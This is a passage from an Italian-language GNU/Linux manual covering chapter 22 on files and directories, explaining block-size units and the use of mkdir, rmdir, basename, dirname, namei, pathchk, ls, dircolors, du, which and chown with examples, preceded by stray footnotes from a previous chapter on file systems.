[14] Quando ci si trova a dover controllare il file system principale del sistema in funzione, in mancanza di altro, si fanno terminare tutti i processi che non sono indispensabili, quindi si reinnesta il file system principale in sola lettura ('`mount -o remount,ro /`'). Tuttavia, dopo il controllo, dal momento che questo modifica il file system, non conviene ripetere il reinnesto in lettura e scrittura, dato che il sistema potrebbe continuare a ignorare tali modifiche; pertanto, piuttosto è bene riavviare il sistema.

[15] **Dosfsck** GNU GPL

[16] '`dosfsck`' non è un programma che viene installato in modo predefinito dalle distribuzioni, per cui, nella maggior parte dei casi occorre provvedere direttamente per questo.

[17] **NTFSprogs** GNU GPL

[18] **Doschk** GNU GPL

[19] **Gpart** GNU GPL

[20] **Parted** GNU GPL

[21] **Partimage** GNU GPL

[22] **util-linux: mount** GNU GPL

[23] **util-linux: umount** GNU GPL

[24] Si tratta di una procedura per ottenere delle copie di sicurezza che comunque non è indispensabile. Per questo si possono usare strumenti normali senza bisogno si utilizzare la configurazione di questo file.

[25] **GNU core utilities** GNU GPL

[26] **di** software libero con licenza speciale

[27] Questa sezione su '`du`' è identica alla 22.4.4.

[28] **GNU core utilities** GNU GPL

[29] **GNU core utilities** GNU GPL

[30] **GNU core utilities** GNU GPL

[31] L'utilizzo della memoria di massa come estensione della memoria centrale è possibile solo se la tecnologia con cui questa memoria è realizzata consente una scrittura frequente. In pratica, ci si avvale per questo, quasi esclusivamente, di unità a dischi magnetici.

[32] **util-linux: mkswap** GNU GPL

[33] **util-linux: swapon** GNU GPL

[34] **util-linux: swapoff** GNU GPL

[35] In pratica, per attribuire delle quote al file system principale, occorre reinnestarlo in una sottodirectory, con le stesse opzioni.

[36] **Linux quota utils** UCB BSD e GNU GPL

[37] Si hanno i gruppi privati quando ogni utente ha un proprio gruppo personale.

[38] In tal caso si parla comunemente di CD-ROM, DVD-ROM ed eventualmente di BD-ROM.

[39] **Cdrkit http://www.cdrkit.org** GNU GPL

[40] **Isolinux** GNU GPL

[41] **Cdrkit http://www.cdrkit.org** GNU GPL

[42] Generalmente, l'utilizzo di un condotto (*pipeline*) per generare l'input di un programma di scrittura di un disco ottico è sconsigliabile. Ciò perché potrebbero verificarsi dei ritardi nel flusso di dati che giunge all'unità di registrazione, provocando l'interruzione irreversibile della procedura.

[43] **DVD+rw-tools** GNU GPL

[44] **Cloop** GNU GPL

[45] **Squashfs** GNU GPL

[46] **Cramfs** GNU GPL

[47] **Zisofs-tools** GNU GPL

[48] **Mdadm** GNU GPL

[49] **SSHfs** GNU GPL

[50] **CurlFtpFS** GNU GPL

[51] CurlFtpFS consente di indicare il nominativo utente e la parola d'ordine tra le opzioni di avvio, ma ciò è assolutamente sconsigliabile perché la riga di comando è sempre visibile a tutti gli utenti.

[52] **NTFSprogs** GNU GPL

[53] **NTFS-3g** GNU GPL

[54] **EncFS** GNU GPL

[55] **util-linux: fdformat** GNU GPL

[56] **Linux floppy utilities** GNU GPL

[57] **Isosize** GNU GPL

File e directory

Capitolo 22

22.1 Unità di riferimento 1155
22.2 Directory 1156
22.2.1 Utilizzo di «mkdir» 1157
22.2.2 Utilizzo di «rmdir» 1157
22.3 Percorsi 1158
22.3.1 Utilizzo di «pwd» 1158
22.3.2 Utilizzo di «basename» 1158
22.3.3 Utilizzo di «dirname» 1159
22.3.4 Utilizzo di «namei» 1159
22.3.5 Utilizzo di «pathchk» 1161
22.4 Contenuti 1162
22.4.1 Utilizzo di «ls», «dir» e «vdir» 1162
22.4.2 Utilizzo di «dircolors» 1166
22.4.3 Utilizzo di «file» 1166
22.4.4 Utilizzo di «du» 1167
22.5 Collocazione degli eseguibili 1168
22.5.1 Utilizzo di «which» 1168
22.5.2 Utilizzo di «whereis» 1168
22.6 Proprietà 1168
22.6.1 Utilizzo di «chown» 1169
22.6.2 Utilizzo di «chgrp» 1170
22.7 Modalità dei permessi 1171
22.7.1 SGID e SUID 1172
22.7.2 Maschera dei permessi: umask 1173
22.7.3 Utilizzo di «chmod» 1174
22.8 Attributi speciali 1176
22.8.1 Utilizzo di «chattr» 1176
22.8.2 Utilizzo di «lsattr» 1177
22.9 ACL POSIX con i sistemi GNU/Linux 1177
22.9.1 File system e programmi di servizio 1177
22.9.2 ACL POSIX 1178
22.9.3 ACL in pratica 1180

22.9.4 Ereditarietà 1183

22.10 Data 1185

22.10.1 Utilizzo di «touch» 1185

22.11 Copia e collegamento 1186

22.11.1 Collegamenti simbolici 1187
22.11.2 Collegamenti fisici 1187
22.11.3 Directory e collegamenti fisici 1188
22.11.4 Errori comuni con i collegamenti simbolici 1189
22.11.5 Utilizzo di «cp» 1190
22.11.6 Utilizzo di «ln» 1193
22.11.7 Utilizzo di «install» 1195
22.11.8 Utilizzo di «dd» 1196
22.11.9 Utilizzo di «ddrescue» 1199

22.12 Spostamento e cancellazione 1201

22.12.1 Utilizzo di «mv» 1201
22.12.2 Utilizzo di «rm» 1202
22.12.3 Cestino personale 1204
22.12.4 Utilizzo di «unlink» 1207
22.12.5 Utilizzo di «shred» 1208

22.13 Archiviazione 1208

22.13.1 Utilizzo di Cpio 1208
22.13.2 Utilizzo di Tar 1211

22.14 Compressione 1215

22.14.1 Utilizzo di «gzip», «gunzip» e «zcat» 1215
22.14.2 Utilizzo di «bzip2» e «bunzip2» 1217
22.14.3 Copie di sicurezza 1218
22.14.4 UPX 1221
22.14.5 Utilizzo di «unp» e di «ucat» 1223

22.15 File FIFO 1224

22.15.1 Utilizzo di «mkfifo» 1225

22.16 File di dispositivo 1225

22.16.1 Utilizzo di «mknod» 1226
22.16.2 File «/dev/MAKEDEV» 1227

22.17 Tabelle riepilogative 1228

22.18 Riferimenti 1233

.dir_colors 1166 basename 1158 bunzip2 1217 bzip2 1217 chattr 1176 chgrp 1170 chmod 1174 chown 1169 cp 1190 dd 1196 ddrescue 1199 dir 1162 dircolors 1166 dirname 1159 DIR_COLORS 1166 du 1167 file 1166 getfacl 1180 1180 gunzip 1215 gzcat 1215 gzip 1215 install 1195 ln 1193 ls 1162 lsattr 1177 MAKEDEV 1227 1227 mkdir 1157 mkfifo 1225 mknod 1226 mv 1201 namei 1159 pathchk 1161 pwd 1158 ricicla 1204 rm 1202 rmdir 1157 shred 1208 touch 1185 unlink 1207 unp 1223 vdir 1162 whereis 1168 which 1168 zcat 1215 $BLOCK_SIZE 1155 $LS_COLORS 1166 $PATH 1168 $POSIXLY_CORRECT 1167 $SI 1155 $SIMPLE_BACKUP_SUFFIX 1190 1193 $VERSION_CONTROL 1190 1193

22.1 Unità di riferimento

I programmi GNU che hanno a che fare con la misurazione di quantità di byte, possono essere configurati facilmente per ciò che concerne il sistema di misura da utilizzare. Esiste tradizionalmente un divario tra la misurazione dei dati e il SI (il *Sistema internazionale di unità*, ⟨http://www.bipm.org/⟩). Per cercare di mettere un po' di ordine in questa confusione, è possibile intervenire su alcune variabili di ambiente.

Attraverso la variabile di ambiente ***BLOCK_SIZE***, è possibile stabilire la dimensione di un «blocco», cioè la quantità di byte usata come unità di riferimento. In generale, se la variabile di ambiente ***POSIXLY_CORRECT*** è stata definita (indipendentemente dal suo contenuto) e la variabile ***BLOCK_SIZE*** non c'è, i blocchi sono di 512 byte; diversamente, è la variabile ***BLOCK_SIZE*** a prevalere. Inoltre, se nessuna di queste variabili è presente, il blocco predefinito è di 1 024 byte.

Nel gergo che si è sviluppato nei programmi GNU, dal momento che i blocchi di 512 byte sono difficili da valutare rapidamente, si fa riferimento al concetto di «*human readable*» per dire che i blocchi sono da 1 024 byte. Tuttavia, la facilità di lettura che si sottintende in questo modo, è solo approssimativa, perché le convenzioni umane portano a pensare in base a una numerazione decimale. Pertanto, la variabile ***BLOCK_SIZE***, oltre a contenere un numero che rappresenta la dimensione del blocco in byte, può contenere due stringhe ben precise, a cui viene dato un significato determinato. Si veda la tabella 22.1.

Tabella 22.1. Valori assegnabili alla variabile di ambiente ***BLOCK_SIZE***.

Contenuto	Descrizione
n	Esprime la dimensione del blocco in byte.
`human-readable`	Indica un blocco di 1 024 byte.
`si`	Indica un blocco di 1 000 byte, secondo il SI.

In particolare, quando la variabile di ambiente ***BLOCK_SIZE*** contiene la stringa '**`si`**', il valore dei simboli usati come moltiplicatori, assume un significato diverso. Si osservi per questo la tabella 22.2.

Tabella 22.2. Moltiplicatori usati nei programmi GNU, a seconda dell'impostazione della variabile di ambiente ***BLOCK_SIZE***.

Simbolo	'**human-readable**'	'**si**'
k	2^{10}	10^{3}
M	2^{20}	10^{6}
G	2^{30}	10^{9}
T	2^{40}	10^{12}
P	2^{50}	10^{15}
E	2^{60}	10^{18}
Z	2^{70}	10^{21}
Y	2^{80}	10^{24}

A livello della riga di comando, si può intervenire attraverso opzioni comuni che, in generale, prevalgono sulle impostazioni delle variabili di ambiente. La tabella 22.3 riassume queste opzioni.

Tabella 22.3. Opzioni comuni relative alla definizione della dimensione dei blocchi.

Opzione	Descrizione
`--block-size=`***n***	Esprime la dimensione del blocco in byte.
`--block-size=human-readable`	Indica un blocco di 1 024 byte.
`--block-size=si`	Indica un blocco di 1 000 byte, secondo il SI.
`--kilobytes` `-k`	Indica un blocco di 1 024 byte.
`--human-readable` `-h`	Indica un blocco di 1 024 byte.
`--si` `-H`	Indica un blocco di 1 000 byte, secondo il SI.

Sarebbero disponibili anche altre variabili di ambiente che permettono la configurazione specifica di ogni programma di servizio. Eventualmente si può consultare la documentazione originale.

22.2 Directory

La directory è un tipo speciale di file, il cui scopo è quello di contenere riferimenti ad altri file e ad altre directory. Pertanto, la directory è un indice di file ed eventualmente di altri sottoindici.

I permessi attribuiti a una directory vanno interpretati in maniera particolare:

- il permesso di lettura permette di conoscere il contenuto di una directory attraverso un programma come '**ls**' o simile, senza il quale, la directory può essere attraversata ugualmente;

- il permesso di scrittura permette di modificarne il contenuto, cioè di aggiungere o eliminare file e altre directory;
- il permesso di «esecuzione» permette il suo attraversamento, ovvero permette di raggiungere il suo contenuto o quello di altre directory discendenti.

22.2.1 Utilizzo di «mkdir»

Il programma di servizio '**mkdir**'[1] (*Make directory*) crea una o più directory:

```
mkdir [opzioni] directory...
```

In mancanza di indicazioni gli attributi della nuova directory sono 777_8 meno i bit della maschera dei permessi. Il valore tipico di questa maschera è 022_8 e di conseguenza gli attributi normali di una nuova directory sono 755_8, cosa che in pratica permette a tutti di accedere e leggerne il contenuto, ma concede solo al proprietario di modificarle.

Tabella 22.4. Alcune opzioni.

Opzione	Descrizione
`-m` ***modalità_dei_permessi*** `--mode=`***modalità_dei_permessi***	Permette di definire esplicitamente la modalità dei permessi attribuiti alle directory che vengono create. Questa modalità può essere attribuita in forma numerica o in forma simbolica. La sintassi della forma simbolica è descritta in occasione della presentazione del programma '**chmod**' (22.7.3).
`-p` `--parents`	Fa in modo che vengano create anche le directory precedenti se queste non sono presenti. In tal caso la modalità utilizzata, per i permessi di queste directory precedenti, corrisponde a quanto stabilito per quella o quelle directory da creare con l'aggiunta (se necessario) dei permessi di scrittura e di esecuzione per l'utente proprietario. Infatti, sarebbe normalmente logico pensare che almeno al proprietario sia concesso di accedervi e di poterle modificare.
`--verbose`	Emette un messaggio per ogni directory creata. È particolarmente utile in abbinamento all'opzione '**-p**'.

22.2.2 Utilizzo di «rmdir»

Il programma di servizio '**rmdir**'[2] (*Remove directory*) elimina le directory indicate, se sono vuote:

```
rmdir [opzioni] directory...
```

Tabella 22.5. Alcune opzioni.

Opzione	Descrizione
`-p` `--parents`	Elimina anche le directory precedenti se, dopo la cancellazione delle directory finali, queste restano vuote.

22.3 Percorsi

Il ***percorso*** o *path* è il modo con cui si identifica la posizione di un file o di una directory. File e directory vengono spesso indicati per nome facendo riferimento a una posizione sottintesa: la directory corrente (o attuale). File e directory possono essere indicati utilizzando un nome che comprende anche l'indicazione del percorso necessario a raggiungerli.

22.3.1 Utilizzo di «pwd»

Il programma di servizio '**`pwd`**'[3] (*Print working directory*) emette attraverso lo standard output il percorso assoluto della directory corrente. Viene mostrato il percorso reale, traducendo i collegamenti simbolici.

```
pwd [opzioni]
```

È molto probabile che la shell utilizzata metta a disposizione un comando interno con lo stesso nome. Il funzionamento di questo comando potrebbe essere leggermente differente da quello del programma.

22.3.2 Utilizzo di «basename»

Il programma di servizio '**`basename`**'[4] estrae il nome di un file o di una directory da un percorso:

```
basename percorso [suffisso]
```

In pratica: rimuove dal percorso la parte anteriore contenente l'informazione sulla directory; inoltre, eventualmente, rimuove anche il suffisso indicato dalla parte finale del nome rimanente. Il risultato viene emesso attraverso lo standard output.

Segue una sequenza di esempi senza spiegazione, da cui si vede comunque come si comporta il programma:

`$` **`basename "/idrogeno/ossigeno"`** [*Invio*]

```
ossigeno
```

$ **basename "/idrogeno/eliografia.sh" ".sh"** [*Invio*]

```
eliografia
```

$ **basename "/idrogeno/eliografia.sh" "grafia.sh"** [*Invio*]

```
elio
```

22.3.3 Utilizzo di «dirname»

Il programma di servizio '**dirname**' [5] (*Directory name*) estrae la directory da un percorso:

dirname ***percorso***

In pratica: rimuove dal percorso la parte finale a partire dall'ultima barra obliqua ('**/**') di divisione tra l'informazione della directory e il nome del file. Se il percorso contiene solo un nome di file, il risultato è un punto singolo ('**.**'), cioè la directory corrente. Il risultato viene emesso attraverso lo standard output.

Segue una sequenza di esempi senza spiegazione, da cui si vede comunque come si comporta il programma:

$ **dirname "/idrogeno/ossigeno/elio"** [*Invio*]

```
/idrogeno/ossigeno
```

$ **dirname "/idrogeno/ossigeno"** [*Invio*]

```
/idrogeno
```

$ **dirname "/idrogeno"** [*Invio*]

```
/
```

$ **dirname "idrogeno"** [*Invio*]

```
.
```

22.3.4 Utilizzo di «namei»

Il programma di servizio '**namei**' [6] scompone un percorso finché raggiunge un punto terminale:

namei [***opzioni***] ***percorso***...

In pratica, attraverso '**namei**' vengono analizzati i percorsi forniti, ne viene scomposto e descritto il contenuto nelle varie (eventuali) sottodirectory, quindi, se tra gli elementi contenuti

nei percorsi richiesti esistono dei collegamenti simbolici, viene visualizzato anche l'elemento di destinazione. Questo programma è particolarmente utile per seguire i collegamenti simbolici, soprattutto quando questi hanno troppi livelli, cioè quando un collegamento punta a un altro collegamento ecc. I vari elementi visualizzati sono preceduti da una lettera che ne descrive le caratteristiche:

Sigla	Tipo corrispondente
`f:`	il percorso che si sta analizzando;
`d`	directory;
`l`	collegamento simbolico;
`s`	socket di dominio Unix;
`b`	file di dispositivo a blocchi;
`c`	file di dispositivo a caratteri;
`-`	file normale;
`?`	errore.

Segue la descrizione di alcuni esempi.

- `$` **`namei /usr/bin/X11`** [*Invio*]

  Genera il risultato seguente:

```
f: /usr/bin/X11
 d /
 d usr
 d bin
 l X11 -> ../X11R6/bin
   d ..
   d X11R6
   d bin
```

  Da questo si intende che la directory '`/usr/bin/X11/`' in realtà non esiste, trattandosi di un collegamento simbolico alla vera directory '`/usr/X11R6/bin/`'.

- `$` **`namei /usr/bin/x-www-browser`** [*Invio*]

```
f: x-www-browser
 l x-www-browser -> /etc/alternatives/x-www-browser
   d /
   d etc
   d alternatives
   l x-www-browser -> /usr/bin/mozilla
     d /
     d usr
     d bin
     l mozilla -> /etc/alternatives/mozilla
       d /
       d etc
       d alternatives
       l mozilla -> /usr/bin/mozilla-1.6
         d /
         d usr
         d bin
         - mozilla-1.6
```

In questo caso si analizza il nome '`/usr/bin/x-www-browser`' che, nelle distribuzioni GNU/Linux Debian, rappresenta il «navigatore» grafico standard installato nel sistema. Come si vede, dopo una serie di passaggi, si arriva al programma '`/usr/bin/mozilla-1.6`'.

22.3.5 Utilizzo di «pathchk»

Il programma di servizio '**`pathchk`**'[7] (*Path check*) consente di controllare i percorsi:

pathchk [***opzioni***] [***percorso***...]

Per ogni percorso indicato come argomento viene eseguita una verifica e, se necessario, viene emesso attraverso lo standard output un messaggio per informare di uno dei problemi seguenti:

- una delle directory esistenti, indicate all'interno di uno dei percorsi, non ha il permesso di esecuzione necessario per essere attraversata;
- la lunghezza totale di un percorso è maggiore di quella gestibile con quel tipo di file system;
- la sola lunghezza di uno degli elementi di un percorso è maggiore di quella gestibile con quel tipo di file system.

Tabella 22.16. Alcune opzioni.

Opzione	Descrizione
`-p` `--portability`	Invece di eseguire un controllo in base alle possibilità del file system effettivamente in funzione, il programma si basa sulle specifiche minime stabilite dallo standard POSIX sulla portabilità; inoltre, viene controllato che non siano usati caratteri che potrebbero creare problemi di portabilità.

Il programma restituisce zero se tutti i percorsi hanno superato i controlli con successo; altrimenti restituisce il valore uno.

Seguono alcuni esempi autoesplicativi:

$ **pathchk -p /home/perché** [*Invio*]

```
path '/home/perché' contains nonportable character 'é'
```

$ **pathchk -p "/home/tizio/ciao bella"** [*Invio*]

```
path '/home/tizio/ciao bella' contains nonportable character ' '
```

Naturalmente, se il percorso è corretto, non si ottiene alcuna segnalazione.

22.4 Contenuti

Quando a un programma devono essere passati uno o più nomi di file tra gli argomenti, si possono rappresentare più nomi contemporaneamente attraverso un modello che fa uso di simboli adatti (a questo proposito si parla anche di *globbing*). La trasformazione del modello in elenchi di file (e directory) esistenti effettivamente, è compito della shell, cioè si tratta di qualcosa a cui gli altri programmi sono normalmente estranei. Nella sezione 19.2.2.9 viene trattato il modo con cui una shell POSIX si comporta al riguardo.

Il contenuto di una directory viene analizzato normalmente attraverso il programma '**ls**'. In particolare, la realizzazione GNU di '**ls**' può essere configurata per colorare i nomi dei file in modo diverso a seconda del tipo di questi.

22.4.1 Utilizzo di «ls», «dir» e «vdir»

Il programma di servizio '**ls**'[8] (*List*) visualizza i nomi di file o il contenuto delle directory indicate:

ls [*opzioni*] [*nome*...]

In mancanza dell'indicazione esplicita di file o di directory, viene visualizzato il contenuto della directory corrente e di norma non vengono inclusi i nomi di file e directory il cui nome inizia con un punto: questi sono considerati nascosti.

È importante ricordare che se vengono indicati dei nomi di file o directory nella riga di comando, è compito della shell espandere eventuali caratteri jolly (o metacaratteri). Di conseguenza, in questo caso, è la shell che non fornisce a '**ls**' i nomi che iniziano con un punto.

Il funzionamento predefinito di '**ls**' GNU dipende anche dalla configurazione fatta attraverso '**dircolors**'. In generale, se non viene indicato diversamente, '**ls**' genera un elenco ordinato per colonne se lo standard output è diretto allo schermo del terminale, oppure un elenco su un'unica colonna se viene diretto altrove. Questa particolarità è molto importante per poter gestire l'output di questo programma attraverso elaborazioni successive.

Tabella 22.19. Alcune opzioni.

Opzione	Descrizione
-a --all	Per ciò che è competenza di '**ls**', vengono elencati anche gli elementi i cui nomi iniziano con punto (i cosiddetti file nascosti).
-A --almost-all	Vengono elencati tutti gli elementi, esclusi i riferimenti alla directory stessa ('**.**') e a quella genitrice ('**..**').
-b --escape --quoting-style=escape	Se i nomi dei file contengono caratteri che non possono essere visualizzati, usa una notazione ottale al loro posto.
-l --format=long --format=verbose	Oltre ai nomi, vengono visualizzati il tipo, i permessi, la quantità di collegamenti fisici, il nome dell'utente proprietario, il nome del gruppo, la dimensione in byte, la data di modifica.
-q --hide-control-chars	Utilizza il punto interrogativo per sostituire i caratteri «non stampabili» (quelli che non possono essere visualizzati) che dovessero essere contenuti eventualmente nei nomi.
-R --recursive	Vengono elencati i contenuti di tutte le directory in modo ricorsivo.
-t --time=time	Ordina il contenuto delle directory in funzione della data: dalla più recente alla più antica. Se non viene specificato diversamente, si fa riferimento alla data di modifica.
-c --time=ctime --time=status	Utilizza la data di cambiamento dello stato dei file (ovvero la data di creazione, anche se questa definizione non è perfetta). Se viene usato il formato lungo di visualizzazione ('**-l**'), viene indicata questa data; se l'opzione '**-c**' viene usata insieme a '**-t**', l'elenco viene ordinato in base a questa data.

Opzione	Descrizione

`-u`
`--time=atime`
`--time=access`
`--time=use`
	Utilizza la data di accesso ai file. Se viene usato il formato lungo di visualizzazione ('`-l`'), viene indicata questa data; se l'opzione '`-u`' viene usata insieme a '`-t`', l'elenco viene ordinato in base a questa data.

`-e` `--full-time`	Quando l'elenco comprende l'indicazione della data, questa viene espressa in modo dettagliato.
`-i` `--inode`	Emette, alla sinistra delle indicazioni inerenti i file, il numero di inode.
`-r` `--reverse`	Riordina in modo inverso rispetto al normale.
`-B` `--ignore-backups`	Esclude dall'elenco i file che terminano con il simbolo tilde ('`~`'). Infatti, questo simbolo viene utilizzato normalmente per distinguere le copie di sicurezza delle versioni precedenti di file che hanno la stessa radice.
`-C` `--format-vertical`	Emette un elenco organizzato in colonne, indipendentemente dalla destinazione dello standard output.
`-F` `--classify`	Se non è già la modalità di funzionamento predefinita, aggiunge un carattere alla fine dei nomi dei file, in modo da riconoscerne il tipo: '`*`' eseguibile; '`/`' directory; '`@`' collegamento simbolico; '`|`' file FIFO (*pipe* con nome); '`=`' *socket*. Gli altri file non hanno alcun simbolo.
`-S` `--sort=size`	Riordina in base alla dimensione in modo decrescente.
`-X` `--sort=extension`	Riordina in base all'estensione, cioè alla parte di nome che appare dopo l'ultimo punto. I nomi che non contengono alcun punto hanno la precedenza.
`-1` `--format=single-column`	Elenca i nomi, uno per ogni riga.
`-w` ***n_colonne*** `--width` ***n_colonne***	Definisce la larghezza a disposizione per l'elenco. L'argomento dell'opzione si riferisce al numero di caratteri utilizzabili. Di solito, la larghezza viene determinata in funzione del numero di colonne che ha a disposizione il terminale o la finestra del terminale.

Opzione	Descrizione
`-I` *modello* `--ignore` *modello*	Permette di escludere dall'elenco i file che sono rappresentati dal modello specificato, quando questi non sono indicati espressamente nella riga di comando. Bisogna tenere presente che il modello in questione deve essere interpretato da '**`ls`**' e non dalla shell. In pratica, è necessario delimitarlo o utilizzare dei caratteri di protezione per evitare l'intervento della shell.

Segue la descrizione di alcuni esempi.

- `$` **`ls -l`** [*Invio*]

  Visualizza un elenco lungo del contenuto della directory corrente.

- `$` **`ls -la`** [*Invio*]

  Visualizza un elenco lungo del contenuto della directory corrente, che include anche i nomi che iniziano con un punto.

- `$` **`ls -R /*/*/dir*`** [*Invio*]

  Cerca, a partire dal secondo livello dopo la directory radice, gli elementi che iniziano per «dir».

- `$` **`ls -I \*.html`** [*Invio*]

  Elenca il contenuto della directory corrente, escludendo i file corrispondenti al modello '`*.html`'. La barra obliqua inversa davanti all'asterisco serve per richiedere alla shell di non espanderlo e non viene passata a '**`ls`**'.

Il programma '**`ls`**' può essere avviato usando nomi differenti, ottenendo così un comportamento particolare:

`dir` [*opzioni*] [*nome*...]

`vdir` [*opzioni*] [*nome*...]

Usando il nome '**`dir`**' si ottiene l'equivalente di '**`ls -C -b`**', mentre con il nome '**`vdir`**' si ottiene l'equivalente di '**`ls -l -b`**'. In pratica, nel primo caso si vuole ricordare il funzionamento del comando '**`DIR`**' dei sistemi Dos, mentre nel secondo il prefisso «v» sta per *vertical*.

22.4.2 Utilizzo di «dircolors»

Il programma '**dircolors**' configura la colorazione e le modalità predefinite di funzionamento di '**ls**':

```
eval `dircolors [opzioni] [file]`
```

Se non viene specificato il file di configurazione in modo esplicito, '**dircolors**' cerca di utilizzare '`~/.dir_colors`' e in mancanza di questo '`/etc/DIR_COLORS`', il quale si riferisce alla configurazione generale del sistema dei colori per '**ls**'.

Il programma '**dircolors**' è fatto per essere avviato immediatamente dopo l'esecuzione di una shell, in quanto la configurazione si traduce nella creazione della variabile di ambiente ***LS_COLORS***, con la quale si possono definire degli alias di shell per attuare in pratica questa configurazione. Per analizzarne il contenuto basta utilizzare il comando seguente:

$ **echo "$LS_COLORS"** [*Invio*]

Si ottiene un record molto lungo. Di seguito appare un esempio di questo, spezzato in più parti per poterlo consultare.

```
no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:↩
↪cd=40;33;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:↩
↪*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:↩
↪*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:↩
↪*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:
```

Con questa variabile si può costruire un alias al programma '**ls**'.

$ **alias ls='/bin/ls --color'** [*Invio*]

In questo modo, l'alias '**ls**' avvia il programma '`/bin/ls`' con l'argomento '**--color**' che attiva la gestione dei colori utilizzando il contenuto della variabile ***LS_COLORS***. I dettagli sul funzionamento di '**dircolors**' e sul modo con cui può essere configurato si trovano nelle pagine di manuale *dircolors(1)* e *ls(1)*.

22.4.3 Utilizzo di «file»

Il programma di servizio '**file**'[9] consente di determinare il tipo di file:

```
file [opzioni] file...
```

Il programma analizza i file indicati come argomento e cerca di classificarli utilizzando l'ordine di analisi seguente: file system, magic number, linguaggio. Quando il programma analizza i file in base al cosiddetto magic number, utilizza le informazioni contenute all'interno di '`/usr/share/misc/magic`' che in pratica contiene delle stringhe o delle sequenze binarie di riconoscimento.

22.4.4 Utilizzo di «du»[10]

Il programma di servizio '**du**'[11] (*Disk usage*) emette una sorta di statistica dell'utilizzo dello spazio da parte di un elenco di file o directory (in base al loro contenuto):

```
du [opzioni] file...
```

L'unità di misura con cui si esprime questo spazio è in blocchi, la cui dimensione cambia a seconda delle opzioni utilizzate oppure dalla presenza di una variabile di ambiente: ***POSIXLY_CORRECT***. Se esiste e non viene usata l'opzione '**-k**', fa sì che i blocchi siano di 512 byte come prevede per questo lo standard POSIX. Diversamente, il valore predefinito dei blocchi è di 1 024 byte.

Tabella 22.21. Alcune opzioni.

Opzione	Descrizione
`-a` `--all`	Emette il conteggio riferito a tutti i file, non solo alle directory.
`-b` `--byte`	Emette le dimensioni in byte.
`-k` `--kilobytes`	Emette le dimensioni in kibibyte (simbolo: «Kibyte»). Questa opzione fa riferimento all'unità di misura predefinita, ma permette di fare ignorare a '**du**' la presenza eventuale della variabile ***POSIXLY_CORRECT***.
`-m` `--megabytes`	Emette le dimensioni in mebibyte (simbolo: «Mibyte»).
`-h` `--human-readable`	Aggiunge una lettera alla dimensione, in modo da chiarire il tipo di unità di misura utilizzato.
`-c` `--total`	Emette anche un totale generale finale.
`-s` `--summarize`	Emette solo un totale per ogni argomento.
`-S` `--separate-dirs`	Emette la dimensione delle directory in modo separato, senza includere lo spazio utilizzato dalle sottodirectory.
`-x` `--one-file-system`	Salta il conteggio delle directory che si trovano in un file system diverso da quello di partenza.

22.5 Collocazione degli eseguibili

«

In linea di principio, per avviare un file eseguibile ci sarebbe bisogno di indicare precisamente il suo percorso. Per ovviare a questo inconveniente viene utilizzato un elenco di percorsi possibili all'interno dei quali devono essere cercati i file eseguibili che sono stati indicati semplicemente per nome. Questo elenco di percorsi è gestito dalla shell e normalmente viene contenuto nella variabile di ambiente ***PATH***.

Se si vuole poter avviare un eseguibile dalla directory corrente senza indicare il suo percorso ('`./`***programma***'), occorre includere anche la directory corrente ('`.`') nell'elenco della variabile ***PATH***.

Per motivi di sicurezza, se si aggiunge il punto che simboleggia la directory corrente, nell'elenco dei percorsi della variabile ***PATH***, questo si colloca alla fine, come ultima possibilità.

Tanto più grande è il numero di directory contenuto nella variabile ***PATH***, tanto maggiore è il rischio di avviare eseguibili diversi da quelli desiderati. Molti file script standard hanno lo stesso nome e si distribuiscono in più punti del file system. In questi casi conviene utilizzare l'indicazione del percorso per avviare esattamente quello che si vuole. Questa è la situazione tipica degli script di configurazione che si usano per preparare un applicativo prima della sua compilazione:

`$` **`./configure`** [*Invio*]

22.5.1 Utilizzo di «which»

«

Il comando '**`which`**' simula la ricerca che farebbe la shell per avviare i programmi indicati negli argomenti e determina la posizione di quelli che verrebbero scelti. Ciò è utile per sapere: sia dove si trova un comando determinato, sia quale programma viene scelto effettivamente nel caso ne esistano diversi con lo stesso nome collocati in posizioni differenti nell'albero di directory.

`which` ***programma***...

In pratica, invece di essere un programma vero e proprio, potrebbe trattarsi semplicemente di un alias a un comando di shell. In effetti, '**`which`**' compie lo stesso ruolo del comando '**`type -path`**' della shell Bash.

22.5.2 Utilizzo di «whereis»

«

Il programma '**`whereis`**' individua i file binari, i sorgenti e le pagine di manuale dei file specificati nell'argomento. [12]

`whereis` [***opzioni***] ***file***...

Si veda eventualmente la pagina di manuale *whereis(1)*.

22.6 Proprietà

Ogni file e directory appartiene necessariamente a un utente e a un gruppo simultaneamente. L'appartenenza a un utente o a un gruppo particolare attribuisce significato ai permessi di accesso. Questi sono distinguibili in base al fatto che chi vuole accedere sia l'utente proprietario, o un utente del gruppo proprietario o un altro utente non appartenente a queste due categorie.

22.6.1 Utilizzo di «chown»

Il programma di servizio '**chown**'[13] (*Change owner*) cambia la proprietà dei file:

```
chown [opzioni] [utente][:[gruppo]] file...
```

Se viene fornito solo il nome dell'utente o il suo numero UID, questo diviene il nuovo proprietario dei file. Se il nome dell'utente, o il suo numero, è seguito da due punti verticali ('`:`') e dal nome o dal numero di un gruppo (GID), vengono cambiate la proprietà dell'utente e la proprietà del gruppo. Se dopo '`:`' non segue il nome del gruppo, viene attribuito il gruppo principale a cui appartiene l'utente. Se prima di '`:`' non viene indicato il nome dell'utente, viene cambiata solo la proprietà del gruppo.[14]

La versione GNU del programma '**chown**' consente di usare il punto ('`.`') al posto dei due punti ('`:`'). È bene evitare l'uso del punto per questo scopo, non essendo previsto dallo standard; tuttavia, la particolarità del programma '**chown**' GNU, suggerisce di non usare nominativi per gli utenti, o per i gruppi, contenenti dei punti.

Tabella 22.22. Alcune opzioni.

Opzione	Descrizione
`-R` `--recursive`	Esegue l'operazione anche nelle sottodirectory.
`--dereference`	Se si incontrano dei collegamenti simbolici, interviene nei file a cui questi puntano. Si tratta del comportamento predefinito.
`--from=`***utente*** **:** ***gruppo***	Modifica solo i file che inizialmente appartengono all'utente e al gruppo indicati.

Segue la descrizione di alcuni esempi.

- `# ` **`chown tizio mio_file`** [*Invio*]

  L'utente '**root**' cambia l'utente proprietario del file '`mio_file`', facendo in modo che diventi '**tizio**'.

